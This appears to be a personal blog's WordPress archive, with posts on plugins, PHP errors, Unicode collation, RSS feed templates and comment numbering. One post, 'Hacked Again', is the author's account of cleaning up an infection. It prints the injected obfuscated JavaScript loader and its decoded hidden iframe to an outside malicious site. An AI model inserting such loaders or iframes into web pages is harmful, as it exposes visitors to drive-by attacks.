Archive for the ‘WordPress’ Category

TapSuperscript for WordPress

26 Mar 2015 22:10 by Rick

When editing WordPress pages or posts there are a number of buttons in the editor to make things a bit easier; Things like Bold, Italic, Blockquote etc. There are in fact a lot more built into the editor than are actually shown in the menu bars. I rather like having superscripts and subscripts come out properly so I have allowed for it in my themes; things like 2nd and H2O. To make these easy to edit I have crested this little WordPress plugin – RJP-Superscript. Just add it to wp-content/plugins on your site and activate it and new buttons Sup and Sub will be enabled in both the Text and Visual editor (in the Visual editor, click the “Toolbar Toggle” on the end of the first line to reveal the second line of buttons). It can’t do magic though—if your theme doesn’t style super and subscripts then nothing will happen in the finished post.

TapWordPress Exploit Scanner

5 Mar 2015 09:11 by Rick

The WordPress Exploit Scanner was a very useful WordPress plugin that would check your site for interference by hackers. It does this by checking the hashes of all the modules against what they were when the code was published and also looks (as best as it can) at your posts and comments database looking for common inserted exploit code.

Unfortunately this seems to have stopped being updated for the last two versions of WordPress (4.1 and 4.1.1).

All is not lost though as all that is missing are the current hash files and Philip John has stepped forward and is hosting replacements – just that it is not as slick as before and these files need to be manually uploaded. The procedure is as follows …

  • Go to https://github.com/philipjohn/exploit-scanner-hashes
  • Find the relevant hash file based on the version of WordPress installed. Currently this is hashes-4.1.1.php – left click on this link.
  • This generates the required hashes file in a window. The easiest way to download it is to click on the “Raw” button
  • Select the whole page (CMD-A or CTRL-A)
  • Copy the whole page (CMD-C or CTRL-C)
  • Open a text editor (e.g. textedit or notepad)
  • Paste the page into there (CMD-V or CTRL-V)
  • Now save the file and call it (in this case) hashes-4.1.1.php – note: it must not have .txt added on the end!
  • Upload this file using FTP to the web site into directory wp-content/plugins/exploit-scanner
  • Login to WordPress as admin
  • Go to Tools ==> Exploit Scanner
  • Click “Run the Scan”

When I did this on a very clean site (no other plugins, very little content) the number of warnings was down to two, both of them in the exploit scanner itself. In practice you will get more than this as it doesn’t know about other plugins and accidental false positives but with care and experience it is very readable.

Tap“PHP Fatal error: Call to undefined function get_header()” error in WordPress

25 Sep 2011 17:27 by Rick

I am getting occasional (3-4 a month) errors in a log file on the various WordPress installations that I support. The full text is

[25-Sep-2011 09:02:01] PHP Fatal error: Call to undefined function get_header() in /home/<ACCOUNT>/public_html/wp-content/themes/<THEME NAME>/index.php on line 1

Doing the natural thing I Googled for a reason but didn’t find much that was informative. Most of the cases reported were where the user had stupidly inadvertently overwritten the root index.php with the one from their theme of the day. The best I found was ardemis who is one step ahead of me.

As he implies, at important step is to stop the message reaching the user’s browser because it reveals rather too much about your web server. This is done by including the call

ini_set('display_errors', 0);

before the get_header();. This makes the message ONLY appear in the log file, which incidentally, can be found in the theme directory. He then goes on to describe a more sophisticated approach which you can read there if it suits your site. But why are they occurring? Is it search engine spiders or hackers probing the depths of your site.

TapHacked Again

16 Jun 2011 10:01 by Rick

Since the problem in 2007 my web sites have been running pretty smoothly. I never did get to the bottom of what caused it but the suspicion was an out of date WordPress install which had some sort of vulnerability.

This month it happened again. I first spotted it on 6 Jun when I saw a big iFrame appear below the page footer of this blog. Again there was a suspicion of a down-level WordPress but it was only one dot point off current. Never-the-less, I updated and the problem went away by wiping out the infected files. In fact, I did it so fast that I didn’t have time to investigate fully.

A week later, the problem was back and now, because I was fully up to date, I had to look more closely.

The code inserted was

[script]var t="";var arr="...";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);[/script]

which decodes to execute

document.write('[iframe src="http://esformofset.com/forum/php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"][/iframe]')

The hacked code was tacked on the end of module wp-blog-header.php so it is clear that the infection understands WordPress. Later I was informed by a regular visitor, that some other (static) pages on the site were also infected. One drawback of running a browser with full protection like Firefox with NoScript is that you can’t easily spot things like this when they occur. Anyway, I spent an hour yesterday evening clearing up the rest of the site. It had infected almost all files called index.htm and home.htm and one or two others with a high page rank due to a lot of external referrers. The inserted code was after <body> and was either identical or very similar to the above (just a change of target web page).

So it is clear that the infection mechanism is clever, I just wish I know what it was. I am no longer convinced that it is anything to do with WordPress – a ZeroDay vulnerability like this would have been reported by now and, at the time of writing I can find no other internet reference to this particular infection. There is no other active content on the site so that leaves the possibility of either a cracked password (all of which are strong and recently changed) or a compromised host server.

TapUnicode in WordPress

8 May 2010 19:01 by Rick

As I mentioned in the previous post, there can be a problems inserting foreign text into WordPress. I have done it in the past with simple accents for French and German with no problem and for some special characters I used the &#….; codes but when it came to pasting in a chunk of Arabic it didn’t work at all, just displaying a bunch of question marks. I suspect that there would be a similar problem with Hebrew, Chinese, Japanese, Cyrillic and any other non-western scripts. I had a search around and the first suggestion I came across was Obsessed with the Press which suggested commenting out the lines for DB_CHARSET and DB_COLLATE in wp-config.php. This appeared to work (on a test site) but looking at older posts I could see that some characters in there were now corrupt, displaying a white question mark in a black diamond. In the comments on the same page there was a suggestion to not do that but just change DB_COLLATE to the value ‘utf8_general_ci’. This didn’t really work either. There were suggestions on other pages to set it to ‘utf8_unicode_ci’ and various other things, so it was time to do some more serious investigation.

It looks like the problem is not really the fault of WordPress at all but the MySQL installed on some sites (including mine). Deep in the MySQL is a configuration parameter for the default character collation and it is often set as supplied to ‘latin1_swedish_ci’—Why? Because MySQL was originally Swedish! If it was just taken out of the box and installed then that will be the default you get for most of your tables because DB_COLLATE in WordPress is set to null and so takes the default. In practice you will find some tables are different, perhaps because they discovered it was important.

So, what does that mean for fixing the problem? DO THIS AT YOUR OWN RISK—I AM NOT AN EXPERT.

First—the second suggestion above was correct—change the DB_COLLATE line to read

define('DB_COLLATE', 'utf8_general_ci');

If you are setting up WordPress for the first time, this may be sufficient because it will use this value, but if you are hacking an old installation then you will need to correct it a bit. You need to go into phpMyAdmin and change some of the collations on your tables. The important one, which fixed my problems, is table wp_posts, field name post_content, but if you are planning to use unicode in post titles, comments and other places then you may need to do more of them. I am planning to be a bit cautious about changing too many in case it breaks something else.

TapCustomised RSS feeds from WordPress

23 Sep 2009 19:47 by Rick

Customising a WordPress installation is relatively straight forward—you pick a theme and then tweak it to your satisfaction—you can make that as easy or hard as you like depending on your skills and requirements and it is all fairly well documented. It uses a theme system so that any templates that you place in the theme directory override the default ones, This blog, for instance, has modified versions of the index, page and single templates which determine the content and appearance of the post stream, pages and single posts respectively.

Customising the feed contents and appearance is not so easy. The system includes three hooks which allow additional content to be included—In the case of RSS2 feed they are rss2_ns in the RSS header, rss2_head in the channel content and rss2_item in each item section. These are what podcast plugins use to add in the iTunes XML stuff that they need.

There is, however, no mechanism to remove or modify the existing standard content. What it needs is the ability to override the templates with ones of your own. The relevant template here is wp-includes/feed-rss2.php and it is loaded from the function do_feed_rss2 in wp-includes/functions.php. That default routine looks like this

function do_feed_rss2( $for_comments ) {
	if ($for_comments)
		load_template( ABSPATH . WPINC . '/feed-rss2-comments.php');
	else
		load_template( ABSPATH . WPINC . '/rss2-atom.php' );
}

What is needed is this which can be put in your theme’s functions.php

function custom_feed_rss2( $for_comments ) {
	if ( $for_comments ) {
		if ( file_exists(STYLESHEETPATH . '/feed-rss2-comments.php'))
			load_template( STYLESHEETPATH . '/feed-rss2-comments.php' );
		else
			load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
	}
	else {
		if ( file_exists(STYLESHEETPATH . '/feed-rss2.php'))
			load_template( STYLESHEETPATH . '/feed-rss2.php' );
		else
			load_template( ABSPATH . WPINC . '/feed-rss2.php' );
	}
}

Then replacing the default routine with the new one using

remove_action('do_feed_rss2', 'do_feed_rss2');
add_action('do_feed_rss2', 'custom_feed_rss2');

then the copies of the templates in your theme directory will be picked up if they exist and defaults used if not. Similar things can be done for the rdf, rss and atom feeds but I don’t use them; note: however, that if you have removed things because you don’t want them revealed to the world then you need to do it on all available formats because they are all available whether you advertise them or not.

What do I use it for? well I want to put the event date into some posts rather than the posting date and also I have a need to suppress comment feeds altogether on one site.

TapRSS feed fixed

7 May 2009 18:03 by Rick

I have finally figured out why the RSS feed on this blog had died. I had been assuming that it was due to an illegal character in one of the post headings because that is what broke it last time; XML is very fussy about character set.

Today I had a look at the source of the XML that wouldn’t display and spotted that there were two blank lines on the front. Removing those (by hand) fixed it, I said XML was fussy!

Now where were they coming from. A search on Google for “wordpress xml blank lines” came up with a few suggestions and it looks like it is a common problem but everyone has to figure it out for themselves; there is no FAQ. The prime suggestion was blank lines on the end of the wp-config.php file but that wasn’t the case for me. The next was in functions.php in the theme; BINGO. I am always very verbal when writing code and put in lots of comments and white space. Normally that doesn’t matter but functions.php is loaded for every action (even for the admin panels) and PHP is a strange beast—everything that is not with us is against us; i.e. everything that is not a PHP statement is directly output to the stream so blank lines before the first < ?php and after the last ?> is output and you cannot separate the functions outside of the PHP structure either. Once I had fixed that then it was all ok.

I still can’t figure out the source of the two blank lines that cause the Comment feed to fail! [Update: that is fixed too. Same problem, just that I hadn’t properly cleared the browser cache.]

TapWordPress 2.7+ Comments

6 Mar 2009 11:32 by Rick

As I mentioned earlier, I upgraded the version of WordPress used on this blog last night. I did the Church website some time ago and it was easy but this one was much more complicated. The difference is that this one accepts comments and the commenting system in WordPress was completely revamped for version 2.7.

This is a screen shot from my development system using the Default theme.

A sample blog comment section

Here I have set the Discussion Settings to say

Break comments into pages with 10 comments per page and the last page displayed by default. Comments should be displayed with the older comments at the top of each page.

As you can see from the first line there are 11 comments on this post and below is a link back to the earlier ones and the 11’th one in full. It looks ok but, as I will demonstrate in a minute, they have hidden the underlying problem.

I happen to think that comments need to be numbered. It is my choice but I consider it necessary both as a visual clue so that readers can tell immediately which posts are the most recent and what order to read them, and also so that the discussion can refer to earlier points unambiguously. The generated HTML for the clip above (edited and wrapped) is as follows

	<h3 id="comments">11 Responses to &#8220;Wordpress 2.7&#8221;</h3>

	<div class="navigation">
		<div class="alignleft"><a
                href="http:// … /wordpress-27/comment-page-1/#comments"
                >&laquo; Older Comments</a></div>
		<div class="alignright"></div>
	</div>

	<ol class="commentlist">
			<li class="comment byuser comment-author-sandpit bypostauthor even
                        thread-even depth-1" id="comment-24">

Here you will see the initial heading, the “Older Comments” link and, below that, <ol class="commentlist">. They are using an ordered list which should have item numbers for every <li> that follows, but they do not appear. They are being suppressed by the CSS style sheet using .commentlist li {list-style: none;}. Now if you want comments numbers, as I do, the instinct is to remove this suppression but that is not good enough (disregarding the work to get the layout to look right) because this comment will be numbered 1. because that is what <ol> does, not 11. as it should be. Every page will be numbered 1. to 10. Worse still, if I had set it to display newer comments at the top, they would be numbered in the wrong order.

The solution is to use a fantastic little plugin Greg’s Threaded Comment Numbering which solves this and other even deeper problems.

This is not really a complaint but it is a job half done. They have brought a lot of interesting controls forward into the admin interface for the average user to be able to control commenting, but the back-end code to handle them properly is not there. You can switch the feature on but you need a lot more skill to get it to work. I saw a comment from an experienced developer on the forums saying that WordPress is moving so that functional customising is moving away from themes, which are relatively straight forward to hack, to plugins and widgets which are more difficult and best left to the experts. If that is the case then they need to consolidate so that features such as this are either fully built into the base-code or left to plugin developers but not half-and-half.

TapLorelle on Church Website Design

21 Jan 2009 20:59 by Rick

Lorelle van Fossen talks to Church web designers—and discovers that she knew nothing about the issues. Good article.

TapBible Verse Plugins

2 Jan 2009 18:01 by Rick

While developing the new church website (which, by the way, is now online) I came across a couple of plugins that automatically link a bible verse reference to the text. I was reminded to write about it today, ironically, by a spam which linked to a very crude online bible using free web space from Blogspot. I am not sure which version has been bootlegged.

eBibleicious

eBibleicious was the first plugin I investigated. It links to eBible.com and seemed to be simple and efficient but for some reason does not work at all if the visitor is on Virgin Broadband. bweaver.net has a review with some screen shots which show what could have been, but the developer blog has been quiet since March 2008 so I think it has all but died.

The Holy Scripturizer

The Holy Scripturizer is a plugin that I found later. It is also not well advertised and the developer blog has not been updated since june 2008 but perhaps there is nothing more to do; it works fine on WP 2.7. There are a lot of the same ideas as eBibleicious using the ESV website as source, but has the added benefit of multiple versions in link only (i.e. not popup) mode. The NRSV comes from Oremus Bible Browser which is the one we normally use. Almost every English language version is covered and a lot of others as well, mostly via the Bible Gateway. It parses most standard bible references and is working brilliantly on the web site with virtually no training needed.

[Update 7 Jul 2017]

Wow, yes, I am still using it!

And all was going well – some time ago I modified it to v1.8.5 to a) support NRSV-UK from bible.oremus.org and b) change target=”_new” to target=”_blank” to conform to current practice. This is ok right up to WordPress v4.8. However we migrated servers recently to one that supports PHP7, though we have downgraded it a bit to v5.6 because of other problems. This plugin started to give us grief—it was blocking login and whenever it was activated it said

The plugin generated 3 characters of unexpected output during activation. If you notice “headers already sent” messages, problems with syndication feeds or other issues, try deactivating or removing this plugin.

It took a lot of effort to track down what the problem was but it turned out to be the encoding of the main PHP file—it was UTF8 with BOM (Byte Order Mark) and it was the latter which was causing the problem as it was pushing the BOM 3 characters out before the headers and causing the error. So I have removed the BOM from the file and all is well again. I suspect that it was self-inflicted and I had edited it at some time using Windows Textedit which is known to do this sort of thing.

In the process of trying to trace the problem I also created a stripped down version which I have called RJP-BibleRef. This is pure plug and play, it requires no options setting but it ONLY generates NRSV-UK links. You are welcome to give any of them a try.

The Original The Holy Scripturizer v1.8.3
My Modified The Holy Scripturizer v1.8.5
The Stripped Down RJP-BibleRef v1.0

^ Top